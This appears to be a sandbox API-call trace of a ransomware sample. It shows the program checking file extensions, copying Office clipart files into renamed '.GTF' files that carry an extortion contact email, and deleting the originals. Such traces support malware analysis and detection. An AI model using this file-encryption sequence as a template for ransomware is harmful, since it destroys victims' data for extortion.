	[0089.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0089.761] lstrlenW (lpString=".dbf") returned 4
	[0089.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0089.761] lstrlenW (lpString=".1cd") returned 4
	[0089.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0089.761] lstrlenW (lpString=".jpg") returned 4
	[0089.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.761] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.761] lstrlenW (lpString="IN00343_.WMF") returned 12
	[0089.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0089.764] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1892) returned 1
	[0089.764] CloseHandle (hObject=0x39c) returned 1
	[0089.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220
	[0089.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0089.764] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.764] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0089.765] GetLastError () returned 0x0
	[0089.765] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x764, lpOverlapped=0x0) returned 1
	[0089.768] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x770, lpOverlapped=0x0) returned 1
	[0089.770] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.770] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.770] SetEndOfFile (hFile=0x384) returned 1
	[0089.770] CloseHandle (hObject=0x384) returned 1
	[0089.770] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.770] SetEndOfFile (hFile=0x39c) returned 1
	[0089.771] CloseHandle (hObject=0x39c) returned 1
	[0089.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1
	[0089.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0089.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0089.771] lstrlenW (lpString=".doc") returned 4
	[0089.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.771] lstrlenW (lpString=".docx") returned 5
	[0089.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.772] lstrlenW (lpString=".pdf") returned 4
	[0089.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.772] lstrlenW (lpString=".xls") returned 4
	[0089.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.772] lstrlenW (lpString=".xlsx") returned 5
	[0089.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.772] lstrlenW (lpString=".ppt") returned 4
	[0089.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0089.772] lstrlenW (lpString=".zip") returned 4
	[0089.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.772] lstrlenW (lpString=".rar") returned 4
	[0089.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.772] lstrlenW (lpString=".bz2") returned 4
	[0089.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.772] lstrlenW (lpString=".7z") returned 3
	[0089.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0089.772] lstrlenW (lpString=".dbf") returned 4
	[0089.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0089.772] lstrlenW (lpString=".1cd") returned 4
	[0089.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0089.772] lstrlenW (lpString=".jpg") returned 4
	[0089.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0089.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0089.772] lstrlenW (lpString=".doc") returned 4
	[0089.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.772] lstrlenW (lpString=".docx") returned 5
	[0089.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.773] lstrlenW (lpString=".pdf") returned 4
	[0089.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.773] lstrlenW (lpString=".xls") returned 4
	[0089.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.773] lstrlenW (lpString=".xlsx") returned 5
	[0089.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.773] lstrlenW (lpString=".ppt") returned 4
	[0089.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0089.773] lstrlenW (lpString=".zip") returned 4
	[0089.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.773] lstrlenW (lpString=".rar") returned 4
	[0089.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.773] lstrlenW (lpString=".bz2") returned 4
	[0089.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.773] lstrlenW (lpString=".7z") returned 3
	[0089.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0089.773] lstrlenW (lpString=".dbf") returned 4
	[0089.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0089.773] lstrlenW (lpString=".1cd") returned 4
	[0089.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0089.773] lstrlenW (lpString=".jpg") returned 4
	[0089.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.773] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.773] lstrlenW (lpString="IN00346_.WMF") returned 12
	[0089.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0089.774] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=696) returned 1
	[0089.774] CloseHandle (hObject=0x39c) returned 1
	[0089.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220
	[0089.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0089.774] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.774] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0089.775] GetLastError () returned 0x0
	[0089.775] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2b8, lpOverlapped=0x0) returned 1
	[0090.138] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2c0, lpOverlapped=0x0) returned 1
	[0090.139] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.139] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.139] SetEndOfFile (hFile=0x384) returned 1
	[0090.139] CloseHandle (hObject=0x384) returned 1
	[0090.139] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.139] SetEndOfFile (hFile=0x39c) returned 1
	[0090.140] CloseHandle (hObject=0x39c) returned 1
	[0090.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1
	[0090.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0090.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0090.141] lstrlenW (lpString=".doc") returned 4
	[0090.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.141] lstrlenW (lpString=".docx") returned 5
	[0090.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.141] lstrlenW (lpString=".pdf") returned 4
	[0090.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.141] lstrlenW (lpString=".xls") returned 4
	[0090.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.141] lstrlenW (lpString=".xlsx") returned 5
	[0090.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.141] lstrlenW (lpString=".ppt") returned 4
	[0090.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0090.141] lstrlenW (lpString=".zip") returned 4
	[0090.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.141] lstrlenW (lpString=".rar") returned 4
	[0090.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.141] lstrlenW (lpString=".bz2") returned 4
	[0090.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.141] lstrlenW (lpString=".7z") returned 3
	[0090.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0090.141] lstrlenW (lpString=".dbf") returned 4
	[0090.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0090.141] lstrlenW (lpString=".1cd") returned 4
	[0090.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0090.142] lstrlenW (lpString=".jpg") returned 4
	[0090.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0090.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0090.142] lstrlenW (lpString=".doc") returned 4
	[0090.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.142] lstrlenW (lpString=".docx") returned 5
	[0090.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.142] lstrlenW (lpString=".pdf") returned 4
	[0090.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.142] lstrlenW (lpString=".xls") returned 4
	[0090.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.142] lstrlenW (lpString=".xlsx") returned 5
	[0090.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.142] lstrlenW (lpString=".ppt") returned 4
	[0090.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0090.142] lstrlenW (lpString=".zip") returned 4
	[0090.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.142] lstrlenW (lpString=".rar") returned 4
	[0090.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.142] lstrlenW (lpString=".bz2") returned 4
	[0090.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.142] lstrlenW (lpString=".7z") returned 3
	[0090.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0090.142] lstrlenW (lpString=".dbf") returned 4
	[0090.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0090.142] lstrlenW (lpString=".1cd") returned 4
	[0090.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0090.143] lstrlenW (lpString=".jpg") returned 4
	[0090.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.143] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.143] lstrlenW (lpString="J0086432.WMF") returned 12
	[0090.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.144] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=33434) returned 1
	[0090.144] CloseHandle (hObject=0x39c) returned 1
	[0090.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220
	[0090.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.144] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.144] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0090.145] GetLastError () returned 0x0
	[0090.145] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x829a, lpOverlapped=0x0) returned 1
	[0090.147] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x82a0, lpOverlapped=0x0) returned 1
	[0090.149] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.149] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.149] SetEndOfFile (hFile=0x384) returned 1
	[0090.149] CloseHandle (hObject=0x384) returned 1
	[0090.149] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.149] SetEndOfFile (hFile=0x39c) returned 1
	[0090.150] CloseHandle (hObject=0x39c) returned 1
	[0090.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1
	[0090.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0090.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0090.151] lstrlenW (lpString=".doc") returned 4
	[0090.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.151] lstrlenW (lpString=".docx") returned 5
	[0090.151] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0090.151] lstrlenW (lpString=".pdf") returned 4
	[0090.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.151] lstrlenW (lpString=".xls") returned 4
	[0090.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.151] lstrlenW (lpString=".xlsx") returned 5
	[0090.151] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0090.151] lstrlenW (lpString=".ppt") returned 4
	[0090.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0090.151] lstrlenW (lpString=".zip") returned 4
	[0090.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.151] lstrlenW (lpString=".rar") returned 4
	[0090.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.151] lstrlenW (lpString=".bz2") returned 4
	[0090.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.151] lstrlenW (lpString=".7z") returned 3
	[0090.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0090.151] lstrlenW (lpString=".dbf") returned 4
	[0090.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0090.152] lstrlenW (lpString=".1cd") returned 4
	[0090.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0090.152] lstrlenW (lpString=".jpg") returned 4
	[0090.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0090.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0090.152] lstrlenW (lpString=".doc") returned 4
	[0090.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.152] lstrlenW (lpString=".docx") returned 5
	[0090.152] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0090.152] lstrlenW (lpString=".pdf") returned 4
	[0090.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.152] lstrlenW (lpString=".xls") returned 4
	[0090.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.152] lstrlenW (lpString=".xlsx") returned 5
	[0090.152] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0090.152] lstrlenW (lpString=".ppt") returned 4
	[0090.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0090.152] lstrlenW (lpString=".zip") returned 4
	[0090.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.152] lstrlenW (lpString=".rar") returned 4
	[0090.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.153] lstrlenW (lpString=".bz2") returned 4
